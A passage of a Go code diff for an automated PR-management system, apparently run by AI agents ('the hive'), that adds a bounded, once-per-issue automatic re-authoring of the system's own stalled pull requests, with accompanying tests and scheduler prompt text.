*stageAPI) []string { var out []string for _, c := range api.comments { @@ -54,7 +63,7 @@ func TestFixerExhaustedParksHivePRAtNeedsDecisionOnce(t *testing.T) { // Attempts left: the PR stays on its fixing stage. status[90] = review.FixDispatchStatus{Attempts: 3} - o.observeSelf(hiveFixingPR(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) + o.observeSelf(hiveFixingPRNoIssue(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) if rec, _ := o.e.stageStoreOrShared().Get(key); rec.Stage != stagelabels.Fixing { t.Fatalf("with attempts left = %s (%q)", rec.Stage, rec.Reason) } @@ -62,7 +71,7 @@ func TestFixerExhaustedParksHivePRAtNeedsDecisionOnce(t *testing.T) { status[90] = review.FixDispatchStatus{Attempts: 6, Reason: review.FixDispatchExcludedAttemptsExhausted} o.api.reset() o.clock.advance(time.Minute) - o.observeSelf(hiveFixingPR(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) + o.observeSelf(hiveFixingPRNoIssue(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) rec, _ := o.e.stageStoreOrShared().Get(key) if rec.Stage != stagelabels.NeedsDecision || rec.Reason != stagelabels.FixerExhaustedReason(6) { t.Fatalf("after exhaustion = %s (%q)", rec.Stage, rec.Reason) @@ -74,7 +83,7 @@ func TestFixerExhaustedParksHivePRAtNeedsDecisionOnce(t *testing.T) { if len(comments) != 1 { t.Fatalf("decision comments = %d, want 1: %q", len(comments), comments) } - for _, want := range []string{"gave up after 6 attempts", "last reviewer finding: handler drops the error from Close()", "Re-author from scratch", "Hand it to a person", "Close as not planned"} { + for _, want := range []string{"gave up after 6 attempts", "last reviewer finding: handler drops the error from Close()", "Give direction", "Hand it to a person", "Close as not planned"} { if !strings.Contains(comments[0], want) { t.Fatalf("decision comment lacks %q:\n%s", want, comments[0]) } @@ -85,7 +94,7 @@ func TestFixerExhaustedParksHivePRAtNeedsDecisionOnce(t *testing.T) { // Same head, next pass: no second comment. o.clock.advance(5 * time.Minute) - o.observeSelf(hiveFixingPR(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) + o.observeSelf(hiveFixingPRNoIssue(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) if got := decisionComments(o.api); len(got) != 1 { t.Fatalf("decision comments after second pass = %d, want 1", len(got)) } @@ -95,7 +104,7 @@ func TestFixerExhaustedParksHivePRAtNeedsDecisionOnce(t *testing.T) { // A fix in flight on a new head is a fixing stage again. status[90] = review.FixDispatchStatus{Active: true, Agent: "fixer", Attempts: 1} - o.observeSelf(hiveFixingPR(90, "ddd", "stage/085-needs-decision"), contributorLaneReasonChangesRequested) + o.observeSelf(hiveFixingPRNoIssue(90, "ddd", "stage/085-needs-decision"), contributorLaneReasonChangesRequested) if rec, _ := o.e.stageStoreOrShared().Get(key); rec.Stage != stagelabels.Fixing { t.Fatalf("new head with an active fix = %s (%q)", rec.Stage, rec.Reason) } @@ -113,3 +122,91 @@ func TestFixerExhaustedIgnoresContributorPR(t *testing.T) { t.Fatalf("decision comments on a contributor PR = %d", len(got)) } } + +// Owner on #16456: "we should not need a re-author pill on a hive agent's +// PR." The first exhaustion of a hive PR re-authors it automatically β€” +// marker label on the issue, note, superseded label, close, store record, +// reason re-authoring:<issue> β€” and never parks at 085. The second +// exhaustion for the same issue parks with the remaining answers only. +func TestFixerExhaustedHivePRReauthorsItselfOnce(t *testing.T) { + o, done, status := fixerExhaustedHarness(t) + defer done() + key := stageKey("acme", "widget", 90) + setStagePRTruth(12) + + status[90] = review.FixDispatchStatus{Attempts: 6, Reason: review.FixDispatchExcludedAttemptsExhausted} + o.observeSelf(hiveFixingPR(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) + rec, _ := o.e.stageStoreOrShared().Get(key) + if rec.Stage != stagelabels.Fixing || rec.Reason != stagelabels.ReauthoringReason(12) { + t.Fatalf("first exhaustion = %s (%q), want 070 re-authoring:12", rec.Stage, rec.Reason) + } + if !rec.Reauthored() || rec.ReauthorIssue != 12 || rec.ReauthorHead != "ccc" || rec.ReauthorAttempts != 6 || !rec.ReauthorNoted { + t.Fatalf("store record = %+v", rec) + } + if got := decisionComments(o.api); len(got) != 0 { + t.Fatalf("decision comment posted on an auto re-author: %q", got) + } + var notes []string + for _, c := range o.api.comments { + if strings.HasPrefix(c, reauthorMarker) { + notes = append(notes, c) + } + } + if len(notes) != 1 || !strings.Contains(notes[0], "gave up on this PR after 6 attempts") || !strings.Contains(notes[0], "fresh PR for #12 from the current `v5`") { + t.Fatalf("re-author notes = %q", notes) + } + added := o.addedLabels() + for _, want := range []string{stagelabels.LabelReauthored, "hive/superseded"} { + if !slices.Contains(added, want) { + t.Fatalf("labels added %q lack %q", added, want) + } + } + if !slices.Contains(o.adopt.prEdits, "90:closed") { + t.Fatalf("PR edits = %q, want 90 closed", o.adopt.prEdits) + } + if got := o.e.stageStoreOrShared().ReauthoredFor("acme/widget", 12); got != 90 { + t.Fatalf("ReauthoredFor(12) = %d, want 90", got) + } + + // The fresh PR for the same issue exhausts its fixer too: parked at + // 085 naming the earlier re-author; no second re-author, no re-author + // option in the comment. + setStagePRTruth(12, stagelabels.LabelReauthored) + o.api.reset() + o.adopt.prEdits = nil + o.clock.advance(time.Hour) + status[91] = review.FixDispatchStatus{Attempts: 6, Reason: review.FixDispatchExcludedAttemptsExhausted} + o.observeSelf(hiveFixingPR(91, "ddd", "stage/070-fixing"), contributorLaneReasonChangesRequested) + rec91, _ := o.e.stageStoreOrShared().Get(stageKey("acme", "widget", 91)) + if rec91.Stage != stagelabels.NeedsDecision || rec91.Reason != stagelabels.FixerExhaustedReason(6) || rec91.Reauthored() { + t.Fatalf("second exhaustion = %s (%q) reauthored=%v, want 085 fixer-exhausted:6", rec91.Stage, rec91.Reason, rec91.Reauthored()) + } + if len(o.adopt.prEdits) != 0 { + t.Fatalf("second exhaustion closed a PR: %q", o.adopt.prEdits) + } + comments := decisionComments(o.api) + if len(comments) != 1 { + t.Fatalf("decision comments = %d, want 1: %q", len(comments), comments) + } + for _, want := range []string{"re-author of #90", "Give direction", "Hand it to a person", "Close as not planned"} { + if !strings.Contains(comments[0], want) { + t.Fatalf("decision comment lacks %q:\n%s", want, comments[0]) + } + } + if strings.Contains(comments[0], "Re-author from scratch") || strings.Contains(comments[0], "adoption/supersede") { + t.Fatalf("decision comment still offers re-authoring:\n%s", comments[0]) + } +} + +// Only the issue's marker label (store lost): still no second re-author. +func TestFixerExhaustedMarkerLabelAloneBlocksReauthor(t *testing.T) { + o, done, status := fixerExhaustedHarness(t) + defer done() + setStagePRTruth(12, stagelabels.LabelReauthored) + status[90] = review.FixDispatchStatus{Attempts: 6, Reason: review.FixDispatchExcludedAttemptsExhausted} + o.observeSelf(hiveFixingPR(90, "ccc", "stage/070-fixing"), contributorLaneReasonChangesRequested) + rec, _ := o.e.stageStoreOrShared().Get(stageKey("acme", "widget", 90)) + if rec.Stage != stagelabels.NeedsDecision || rec.Reauthored() || len(o.adopt.prEdits) != 0 { + t.Fatalf("marker label ignored: %s (%q) edits=%q", rec.Stage, rec.Reason, o.adopt.prEdits) + } +} diff --git a/src/pkg/github/automerge/automerge_hive_reauthor.go b/src/pkg/github/automerge/automerge_hive_reauthor.go new file mode 100644 index 0000000000..1e82005c86 --- /dev/null +++ b/src/pkg/github/automerge/automerge_hive_reauthor.go @@ -0,0 +1,149 @@ +package automerge + +import ( + "context" + "fmt" + "net/http" + "strings" + "time" + + gh "github.com/google/go-github/v72/github" + "github.com/hivecommons/hive/pkg/authorkind" + hgithub "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/review" + "github.com/hivecommons/hive/pkg/stagelabels" + "github.com/hivecommons/hive/pkg/writeback" +) + +// Automatic re-author of the hive's own exhausted PR. +// +// Owner on #16456 (a hive PR parked at 085 with "Re-author β–Έ" after six +// fixer attempts): "we should not need a re-author pill on a hive agent's +// PR." A hive-authored PR whose fixer gave up is the hive's to redo, not +// a person's to click: the pass closes it as superseded and leaves the +// issue for the next kick to open a fresh PR from the current base. It +// is bounded to ONE automatic re-author per issue β€” the durable marker is +// stagelabels.LabelReauthored on the issue plus the stage store record β€” +// so a second exhaustion parks at 085 with the remaining answers (give +// direction, hand to a person, close as not planned); re-authoring is +// never offered as a human choice on a hive PR. Rewrites a person asks +// for on a CONTRIBUTOR's PR stay `decide:adopt`. + +// reauthorMarker stamps the close note on the superseded hive PR. +const reauthorMarker = "<!-- hive:reauthor" + +// reauthorTarget is what autoReauthorTarget decided for an exhausted PR. +type reauthorTarget struct { + // Issue is the issue the fresh PR is for; 0 when the PR closes none. + Issue int + // PriorPR is the hive PR already re-authored for Issue (the marker is + // set), 0 when this would be the first; -1 when only the label says + // so and the store has no record of which PR. + PriorPR int +} + +// reauthorRecord is what a pass that re-authored a PR writes on the store +// once the key is observed. +type reauthorRecord struct { + issue, attempts int + noted bool +} + +// eligible reports whether the PR is re-authored automatically now. +func (t reauthorTarget) eligible() bool { return t.Issue > 0 && t.PriorPR == 0 } + +// hiveOwnPR reports whether obs is a PR the hive App itself opened β€” the +// only PR the hive re-authors on its own. +func (c *Engine) hiveOwnPR(obs stageObservation) bool { + if obs.AuthorKind == authorkind.Hive { + return true + } + app := c.transport.AppBotLogin() + return app != "" && normalizeBotLogin(obs.Author) == normalizeBotLogin(app) +} + +// autoReauthorTarget reads the exhausted PR's closing issue and whether +// that issue has been re-authored before (store record, else the issue's +// marker label). Issue 0 means nothing to re-author for. +func (c *Engine) autoReauthorTarget(ctx context.Context, store *stagelabels.Store, obs stageObservation) reauthorTarget { + if !c.hiveOwnPR(obs) { + return reauthorTarget{} + } + refs := hgithub.ClosingIssueRefs(obs.Body, obs.Owner+"/"+obs.Repo) + if len(refs) == 0 { + return reauthorTarget{} + } + t := reauthorTarget{Issue: refs[0]} + if prior := store.ReauthoredFor(obs.Owner+"/"+obs.Repo, t.Issue); prior > 0 && prior != obs.Number { + t.PriorPR = prior + return t + } + issue, _, err := c.gh.Issues.Get(ctx, obs.Owner, obs.Repo, t.Issue) + if err != nil { + // Unknown marker state: do not re-author on a guess. + c.warn("stage labels: re-author marker unreadable; parking the exhausted PR for a person", "repo", obs.Display, "pr", obs.Number, "issue", t.Issue, "error", err) + t.PriorPR = -1 + return t + } + for _, l := range issue.Labels { + if strings.EqualFold(l.GetName(), stagelabels.LabelReauthored) { + t.PriorPR = -1 + return t + } + } + return t +} + +// reauthorExhaustedHivePR closes the hive's exhausted PR as superseded so +// the issue returns to the queue for a fresh PR. Order: marker label on +// the issue first (durable before anything else, so a crash can never +// re-author twice), note, superseded label, close. Returns the number of +// comments posted and whether the note is out; the caller records both +// on the store once the pass has observed the key (MarkReauthored / +// MarkReauthorNoted), so the next pass neither re-labels nor re-notes. +func (c *Engine) reauthorExhaustedHivePR(ctx context.Context, store *stagelabels.Store, key string, obs stageObservation, fixer review.FixDispatchStatus, issue int, now time.Time) (comments int, noted bool, err error) { + logArgs := []any{"repo", obs.Display, "pr", obs.Number, "issue", issue, "head", obs.HeadSHA, "attempts", fixer.Attempts} + rec, _ := store.Get(key) + noted = rec.ReauthorNoted + if !rec.Reauthored() { + if _, _, err := c.gh.Issues.AddLabelsToIssue(ctx, obs.Owner, obs.Repo, issue, []string{stagelabels.LabelReauthored}); err != nil { // writeback:gated + c.warn("stage labels: re-author marker label failed; parking the exhausted PR for a person", append(logArgs, "error", err)...) + return 0, false, err + } + c.info("stage labels: hive PR's fixer exhausted; re-authoring it for the issue from the current base", logArgs...) + } + body := reauthorCloseComment(obs, issue, fixer.Attempts) + item := writebackItemForObservation(obs) + item.HiveAuthored = true + if d := c.writebackAllowed(obs.Display, item, writeback.KindSupersessionClose, body); !d.Allowed { + c.info("stage labels: re-author close withheld by the write-back gate", append(logArgs, "writeback_reason", d.Reason)...) + return 0, noted, nil + } + if !noted { + if _, _, err := c.gh.Issues.CreateComment(ctx, obs.Owner, obs.Repo, obs.Number, &gh.IssueComment{Body: gh.Ptr(body)}); err != nil { // writeback:gated + c.warn("stage labels: re-author close note failed", append(logArgs, "error", err)...) + return 0, false, err + } + // The note is out: the close below may be retried, the note never. + noted, comments = true, 1 + if _, _, err := c.gh.Issues.AddLabelsToIssue(ctx, obs.Owner, obs.Repo, obs.Number, []string{hgithub.SupersededLabel}); err != nil { // writeback:gated + c.warn("stage labels: re-author superseded label failed", append(logArgs, "label", hgithub.SupersededLabel, "error", err)...) + } + } + if _, _, err := c.gh.PullRequests.Edit(ctx, obs.Owner, obs.Repo, obs.Number, &gh.PullRequest{State: gh.Ptr("closed")}); err != nil { // writeback:gated + if isGitHubStatus(err, http.StatusForbidden) || isGitHubStatus(err, http.StatusNotFound) { + c.warn("stage labels: cannot close re-authored PR (permission); left open with the note", append(logArgs, "error", err)...) + return comments, noted, nil + } + c.warn("stage labels: closing re-authored PR failed; retried next pass", append(logArgs, "error", err)...) + return comments, noted, err + } + return comments, noted, nil +} + +// reauthorCloseComment is the one note the superseded hive PR gets. +func reauthorCloseComment(obs stageObservation, issue, attempts int) string { + base := nonEmpty(obs.BaseRef, "the base branch") + return fmt.Sprintf("%s issue=%d head=%s -->\n**Re-authoring:** the hive's fixer gave up on this PR after %d attempts on `%s`. Closing it as superseded; the hive opens a fresh PR for #%d from the current `%s` on its next cycle. Nothing from this branch is merged.\n", + reauthorMarker, issue, obs.HeadSHA, attempts, shortSHA(obs.HeadSHA), issue, base) +} diff --git a/src/pkg/github/automerge/automerge_stage_human.go b/src/pkg/github/automerge/automerge_stage_human.go index 118e61e8bd..6f8babc837 100644 --- a/src/pkg/github/automerge/automerge_stage_human.go +++ b/src/pkg/github/automerge/automerge_stage_human.go @@ -772,12 +772,12 @@ func (c *Engine) fixDispatchStatusFor(obs stageObservation, pass *stageengine.PR // fixerExhaustedRoute is the 085 route (and so the entry comment, once per // head) for a hive PR whose fixer gave up (hivecommons/hive#15744). -func (c *Engine) fixerExhaustedRoute(obs stageObservation, fixer review.FixDispatchStatus) stagelabels.Route { +func (c *Engine) fixerExhaustedRoute(obs stageObservation, fixer review.FixDispatchStatus, reauthoredFrom int) stagelabels.Route { v := obs.Detail.Verdict if !obs.Detail.VerdictKnown { v = c.contributorLaneVerdictFor(obs.Owner+"/"+obs.Repo, obs.Number, obs.HeadSHA) } - return stagelabels.FixerExhaustedRoute(obs.HeadSHA, fixer.Attempts, fixerExhaustedSummary(v, obs.LaneReason)) + return stagelabels.FixerExhaustedRoute(obs.HeadSHA, fixer.Attempts, fixerExhaustedSummary(v, obs.LaneReason), reauthoredFrom) } // fixerExhaustedSummary is the reviewer's one-line reason the fixer kept diff --git a/src/pkg/github/automerge/automerge_stage_labels.go b/src/pkg/github/automerge/automerge_stage_labels.go index a453aebf98..fdfa01dc32 100644 --- a/src/pkg/github/automerge/automerge_stage_labels.go +++ b/src/pkg/github/automerge/automerge_stage_labels.go @@ -927,6 +927,7 @@ func (c *Engine) ApplyStageLabels(ctx context.Context) (StageLabelResult, error) obs.Reason = replacement.Reason } fixer, fixerKnown := c.fixDispatchStatusFor(obs, pass) + var reauthored reauthorRecord pass.FixerExcluded = fixerKnown && fixer.Excluded() if replacement, ok := stageengine.PreserveStageOnStaleDecisionAnswer(prevRec, hadPrev, obs, verdict, pass.FixerExcluded); ok { verdict = replacement @@ -1127,16 +1128,37 @@ func (c *Engine) ApplyStageLabels(ctx context.Context) (StageLabelResult, error) } if !verdict.Terminal && verdict.Stage == fixingStage(obs) && fixerKnown && fixer.Exhausted() { // The hive's own PR whose fix dispatcher refuses another - // fix (re-engagement cap spent, hivecommons/hive#15744): - // a person decides (re-author / hand over / close as not - // planned) instead of the row reading "Fixing" with - // nobody on it for hours (#15308). - verdict.Stage = stagelabels.NeedsDecision - verdict.Rank = stageRankOwned - obs.Reason = stagelabels.FixerExhaustedReason(fixer.Attempts) - pass.FixerExhausted = fixer.Attempts - route := c.fixerExhaustedRoute(obs, fixer) - obs.Route = &route + // fix (re-engagement cap spent, hivecommons/hive#15744). + // First time for its issue: the hive re-authors it itself + // (closes it as superseded, a fresh PR opens from the + // current base) β€” a hive agent's PR needs no re-author + // pill. Already re-authored once, or no issue to redo: + // a person decides (give direction / hand over / close + // as not planned) instead of the row reading "Fixing" + // with nobody on it for hours (#15308). + target := c.autoReauthorTarget(ctx, store, obs) + if prev, ok := store.Get(key); ok && prev.Reauthored() { + target = reauthorTarget{Issue: prev.ReauthorIssue} + } + if target.eligible() && policy.Adoption && !obs.Merged { + n, noted, err := c.reauthorExhaustedHivePR(ctx, store, key, obs, fixer, target.Issue, now) + result.Comments += n + if err != nil && firstErr == nil { + firstErr = err + } + if err == nil { + reauthored = reauthorRecord{issue: target.Issue, attempts: fixer.Attempts, noted: noted} + } + obs.Reason = stagelabels.ReauthoringReason(target.Issue) + pass.Reauthoring = target.Issue + } else { + verdict.Stage = stagelabels.NeedsDecision + verdict.Rank = stageRankOwned + obs.Reason = stagelabels.FixerExhaustedReason(fixer.Attempts) + pass.FixerExhausted = fixer.Attempts + route := c.fixerExhaustedRoute(obs, fixer, max(target.PriorPR, 0)) + obs.Route = &route + } } if step := c.sharedCIRecoveryUnauthorized(ctx, obs); step != "" && verdict.Stage != stagelabels.None { pass.RecoveryUnauthorized = step @@ -1147,6 +1169,12 @@ func (c *Engine) ApplyStageLabels(ctx context.Context) (StageLabelResult, error) obs.Route = &route } tr = store.Observe(key, verdict.Stage, obs.Reason) + if reauthored.issue > 0 { + store.MarkReauthored(key, reauthored.issue, obs.HeadSHA, reauthored.attempts, now) + if reauthored.noted { + store.MarkReauthorNoted(key) + } + } // hivecommons/hive#12502: remember the author so the dashboard can // list "PRs returned to this contributor" from the store alone. store.NoteAuthor(key, obs.Author) diff --git a/src/pkg/scheduler/kick_reauthor_test.go b/src/pkg/scheduler/kick_reauthor_test.go new file mode 100644 index 0000000000..dddf0f69ed --- /dev/null +++ b/src/pkg/scheduler/kick_reauthor_test.go @@ -0,0 +1,27 @@ +package scheduler + +import ( + "strings" + "testing" + + "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/stagelabels" +) + +// An issue the hive re-authored (its earlier PR closed as superseded after +// the fixer gave up) tells the kick to open a fresh PR declaring the +// supersession; an ordinary issue gets no such line. +func TestFormatIssueList_ReauthoredIssueHint(t *testing.T) { + s := newSchedulerWithIoscan(false) + issues := []github.Issue{ + {Repo: "test-org/console", Number: 7, Title: "fix the widget", AgeMinutes: 1, Labels: []string{"bug", stagelabels.LabelReauthored}}, + {Repo: "test-org/console", Number: 8, Title: "tidy the gadget", AgeMinutes: 1, Labels: []string{"bug"}}, + } + out, _ := s.formatIssueListWithPolicy(issues) + if strings.Count(out, "↳ re-authoring:") != 1 || !strings.Contains(out, "Supersedes #<old PR>") { + t.Fatalf("re-author hint missing or repeated:\n%s", out) + } + if idx := strings.Index(out, "↳ re-authoring:"); idx < strings.Index(out, "#7") || idx > strings.Index(out, "#8") { + t.Fatalf("hint not under issue #7:\n%s", out) + } +} diff --git a/src/pkg/scheduler/kickmessage.go b/src/pkg/scheduler/kickmessage.go index 4afc1544fc..e8aaf2ec04 100644 --- a/src/pkg/scheduler/kickmessage.go +++ b/src/pkg/scheduler/kickmessage.go @@ -11,6 +11,7 @@ import ( "github.com/hivecommons/hive/pkg/decisionpolicy" "github.com/hivecommons/hive/pkg/github" "github.com/hivecommons/hive/pkg/promptsrc" + "github.com/hivecommons/hive/pkg/stagelabels" "github.com/hivecommons/hive/pkg/upstreamwatch" ) @@ -141,6 +142,11 @@ func (s *Scheduler) formatIssueListWithPolicy(issues []github.Issue) (string, bo if diff := s.upstreamPortDiffURL(issue); diff != "" { b.WriteString(fmt.Sprintf(" ↳ upstream patch: %s β€” read it first, then port the change to this fork by hand; do not cherry-pick across repos\n", diff)) } + if hasIssueLabel(issue.Labels, stagelabels.LabelReauthored) { + // The hive closed its own earlier PR for this issue after its + // fixer gave up; the fresh PR is this kick's to open. + b.WriteString(" ↳ re-authoring: the hive's earlier PR for this issue was closed as superseded after its fixer gave up; open a FRESH PR from the current base (do not reuse the old branch) and write `Supersedes #<old PR>` in the body\n") + } if issue.ClaimContext != nil && issue.ClaimContext.Decision == github.ClaimDecisionReopenedAfterMerge { prRef := fmt.Sprintf("%s#%d", issue.ClaimContext.PRRepo, issue.ClaimContext.PRNumber) b.WriteString(fmt.Sprintf(" ↳ reopened after %s merged", prRef)) diff --git a/src/pkg/stageengine/derive_pr.go b/src/pkg/stageengine/derive_pr.go index d3e25015db..59298d367d 100644 --- a/src/pkg/stageengine/derive_pr.go +++ b/src/pkg/stageengine/derive_pr.go @@ -297,7 +297,10 @@ func passDecision(verdict stageVerdict, role stagelabels.Role, obs stageObservat verdict.Rank = stageRankOwned obs.Reason = stagelabels.LaneReasonRebaseFailedTwice } - if !verdict.Terminal && pass.FixerExhausted > 0 && verdict.Stage == FixingStage(obs) { + if !verdict.Terminal && pass.Reauthoring > 0 && verdict.Stage == FixingStage(obs) { + obs.Reason = stagelabels.ReauthoringReason(pass.Reauthoring) + } + if !verdict.Terminal && pass.FixerExhausted > 0 && pass.Reauthoring == 0 && verdict.Stage == FixingStage(obs) { verdict.Stage = stagelabels.NeedsDecision verdict.Rank = stageRankOwned obs.Reason = stagelabels.FixerExhaustedReason(pass.FixerExhausted) diff --git a/src/pkg/stageengine/derive_pr_fixer_exhausted_test.go b/src/pkg/stageengine/derive_pr_fixer_exhausted_test.go index 7f6f4ea383..f9a0981e4c 100644 --- a/src/pkg/stageengine/derive_pr_fixer_exhausted_test.go +++ b/src/pkg/stageengine/derive_pr_fixer_exhausted_test.go @@ -66,3 +66,15 @@ func TestPreserveStageOnStaleDecisionAnswer(t *testing.T) { t.Fatal("a PR not previously at 085 has nothing to preserve") } } + +// The hive re-authors its own exhausted PR instead of asking a person: +// the PR stays on its fixing stage, the reason names the issue a fresh +// PR is being opened for, and the exhausted count does not park it. +func TestDerivePRReauthoringStaysOnFixing(t *testing.T) { + f := hiveFixingFacts(contributorLaneReasonChangesRequested) + f.PR.Pass = &PRPassFacts{AuthorIsApp: true, FixerExhausted: 6, FixerExcluded: true, Reauthoring: 16265} + d := DerivePR(f) + if d.Stage != stagelabels.Fixing || d.Reason != stagelabels.ReauthoringReason(16265) { + t.Fatalf("re-authoring: stage = %s reason = %q, want 070 re-authoring:16265", d.Stage, d.Reason) + } +} diff --git a/src/pkg/stageengine/facts.go b/src/pkg/stageengine/facts.go index e6802c83d5..e2536ad99b 100644 --- a/src/pkg/stageengine/facts.go +++ b/src/pkg/stageengine/facts.go @@ -286,6 +286,13 @@ type PRPassFacts struct { // stagelabels.FixerExhaustedReason(n) so a person decides instead of // the row claiming "Fixing" with nobody on it (hivecommons/hive#15744). FixerExhausted int + // Reauthoring is the issue the hive is re-authoring this PR for after + // its fixer gave up: the PR is closed as superseded and a fresh hive + // PR opens for that issue from the current base, so the PR stays on + // its fixing stage with stagelabels.ReauthoringReason(issue) rather + // than parking at 085 (a hive agent's PR needs no re-author pill). + // Zero when no re-author is under way. + Reauthoring int // RecoveryUnauthorized is an observed exact-head CI recovery permission // refusal. It parks the item without treating infrastructure as source work. RecoveryUnauthorized string diff --git a/src/pkg/stagelabels/fixer_exhausted_test.go b/src/pkg/stagelabels/fixer_exhausted_test.go index 9e2aa20381..d4bb431ae7 100644 --- a/src/pkg/stagelabels/fixer_exhausted_test.go +++ b/src/pkg/stagelabels/fixer_exhausted_test.go @@ -26,19 +26,29 @@ func TestFixerExhaustedReasonRoundTrip(t *testing.T) { func TestFixerExhaustedRouteAndComment(t *testing.T) { head := "5b62304abcdef0123456789" - r := FixerExhaustedRoute(head, 6, " tests fail on arm64 ") + r := FixerExhaustedRoute(head, 6, " tests fail on arm64 ", 0) if r.Stage != NeedsDecision || !r.SelfAuthored || r.Head != head || r.ActionsHeading != "Your options:" { t.Fatalf("route = %+v", r) } if len(r.Reasons) != 2 || !strings.Contains(r.Reasons[0], "gave up after 6 attempts on `"+ShortSHA(head)+"`") || r.Reasons[1] != "last reviewer finding: tests fail on arm64" { t.Fatalf("reasons = %q", r.Reasons) } - if len(r.Actions) != 3 || !strings.HasPrefix(r.Actions[0], "**Re-author from scratch**") || !strings.HasPrefix(r.Actions[1], "**Hand it to a person**") || !strings.HasPrefix(r.Actions[2], "**Close as not planned**") { + if len(r.Actions) != 3 || !strings.HasPrefix(r.Actions[0], "**Give direction**") || !strings.HasPrefix(r.Actions[1], "**Hand it to a person**") || !strings.HasPrefix(r.Actions[2], "**Close as not planned**") { t.Fatalf("actions = %q", r.Actions) } + for _, a := range r.Actions { + if strings.Contains(strings.ToLower(a), "re-author") { + t.Fatalf("re-authoring offered as a human choice on a hive PR: %q", a) + } + } + // Second exhaustion on the hive's own re-author: the route says so. + again := FixerExhaustedRoute(head, 6, "", 16456) + if len(again.Reasons) != 2 || !strings.Contains(again.Reasons[1], "re-author of #16456") { + t.Fatalf("re-authored reasons = %q", again.Reasons) + } c := DecisionComment(r) - for _, want := range []string{DecisionCommentMarker, "Needs a decision, not a merge:\n- the hive's fixer gave up", "- last reviewer finding: tests fail on arm64", "**Your options:**", "`adoption/supersede`", "/hive decision"} { + for _, want := range []string{DecisionCommentMarker, "Needs a decision, not a merge:\n- the hive's fixer gave up", "- last reviewer finding: tests fail on arm64", "**Your options:**", "/hive decision"} { if !strings.Contains(c, want) { t.Fatalf("comment missing %q:\n%s", want, c) } @@ -48,7 +58,7 @@ func TestFixerExhaustedRouteAndComment(t *testing.T) { } // No summary: a single reason, rendered inline. - one := FixerExhaustedRoute(head, 3, "") + one := FixerExhaustedRoute(head, 3, "", 0) if len(one.Reasons) != 1 { t.Fatalf("reasons = %q", one.Reasons) } @@ -56,3 +66,17 @@ func TestFixerExhaustedRouteAndComment(t *testing.T) { t.Fatalf("single-reason comment:\n%s", c) } } + +func TestReauthoringReason(t *testing.T) { + if got := ReauthoringReason(16265); got != "re-authoring:16265" { + t.Fatalf("ReauthoringReason = %q", got) + } + if n, ok := ParseReauthoring("re-authoring:16265"); !ok || n != 16265 { + t.Fatalf("ParseReauthoring = %d %v", n, ok) + } + for _, bad := range []string{"", "re-authoring:", "re-authoring:0", "re-authoring:x", "fixer-exhausted:6"} { + if n, ok := ParseReauthoring(bad); ok || n != 0 { + t.Fatalf("ParseReauthoring(%q) = %d %v, want 0 false", bad, n, ok) + } + } +} diff --git a/src/pkg/stagelabels/human.go b/src/pkg/stagelabels/human.go index a47685e496..2a53c28a4f 100644 --- a/src/pkg/stagelabels/human.go +++ b/src/pkg/stagelabels/human.go @@ -341,8 +341,39 @@ const ( // attempt count (hivecommons/hive#15744). Before this the PR sat at 070 // reading "Fixing" with nobody on it (#15308, 13h). LaneReasonFixerExhaustedPrefix = "fixer-exhausted:" + // LaneReasonReauthoringPrefix opens the 070 reason for a hive-authored + // PR whose fixer gave up and which the hive is re-authoring itself + // ("re-authoring:16265"): the suffix is the issue a fresh PR is being + // opened for; this PR is closed as superseded. The hive re-authors + // once per issue; a second exhaustion parks at 085 without the option. + LaneReasonReauthoringPrefix = "re-authoring:" + // LabelReauthored is the durable once-per-issue marker the automatic + // re-author leaves on the ISSUE: a later hive PR for the same issue + // whose fixer is exhausted again is parked for a person instead of + // being re-authored a second time. + LabelReauthored = "hive/re-authored" ) +// ReauthoringReason renders the 070 reason for a hive PR being re-authored +// for issue. +func ReauthoringReason(issue int) string { + return LaneReasonReauthoringPrefix + strconv.Itoa(issue) +} + +// ParseReauthoring reads the issue number out of a re-authoring reason; +// ok is false for any other reason. +func ParseReauthoring(reason string) (issue int, ok bool) { + reason = strings.TrimSpace(reason) + if !strings.HasPrefix(reason, LaneReasonReauthoringPrefix) { + return 0, false + } + n, err := strconv.Atoi(strings.TrimPrefix(reason, LaneReasonReauthoringPrefix)) + if err != nil || n <= 0 { + return 0, false + } + return n, true +} + // FixerExhaustedReason renders the 085 reason for a PR whose fixer gave up // after attempts tries. func FixerExhaustedReason(attempts int) string { @@ -760,14 +791,20 @@ func DecisionComment(r Route) string { // FixerExhaustedRoute is the 085 route for a hive-authored PR whose fix // dispatcher refused another fix because the re-engagement cap is spent // (hivecommons/hive#15744). summary is the reviewer's one-line finding the -// fixer never cleared ("" when unknown). The comment lists the three -// answers the tracker offers: re-author from scratch (the lead action), -// hand it to a person, or close it as not planned. -func FixerExhaustedRoute(head string, attempts int, summary string) Route { +// fixer never cleared ("" when unknown). The hive re-authors its own PR +// automatically on the first exhaustion (ReauthoringReason), so this +// route is reached only when it cannot (no issue, or the issue was +// already re-authored once: reauthoredFrom names that earlier PR) and +// lists the answers left: give direction, hand it to a person, or close +// it as not planned. Re-authoring is never offered as a human choice. +func FixerExhaustedRoute(head string, attempts int, summary string, reauthoredFrom int) Route { reasons := []string{"the hive's fixer gave up after " + strconv.Itoa(attempts) + " attempts on `" + ShortSHA(head) + "`; no fix job is running"} if summary = strings.TrimSpace(summary); summary != "" { reasons = append(reasons, "last reviewer finding: "+summary) } + if reauthoredFrom > 0 { + reasons = append(reasons, "this PR is already the hive's re-author of #"+strconv.Itoa(reauthoredFrom)+"; the hive re-authors an issue once and does not try a third time on its own") + } return Route{ Stage: NeedsDecision, Reasons: reasons, @@ -775,8 +812,8 @@ func FixerExhaustedRoute(head string, attempts int, summary string) Route { SelfAuthored: true, ActionsHeading: "Your options:", Actions: []string{ - "**Re-author from scratch** β€” *Re-author* in the tracker (or add the `adoption/supersede` label): the hive opens a fresh PR for the same issue from the current base and closes this one as superseded.", - "**Hand it to a person** β€” reply `/hive decision <who or what to change>` or push to the branch yourself; the hive steps back while a human owns it.", + "**Give direction** β€” reply `/hive decision <what to change>` (or *Give direction* in the tracker); the hive's 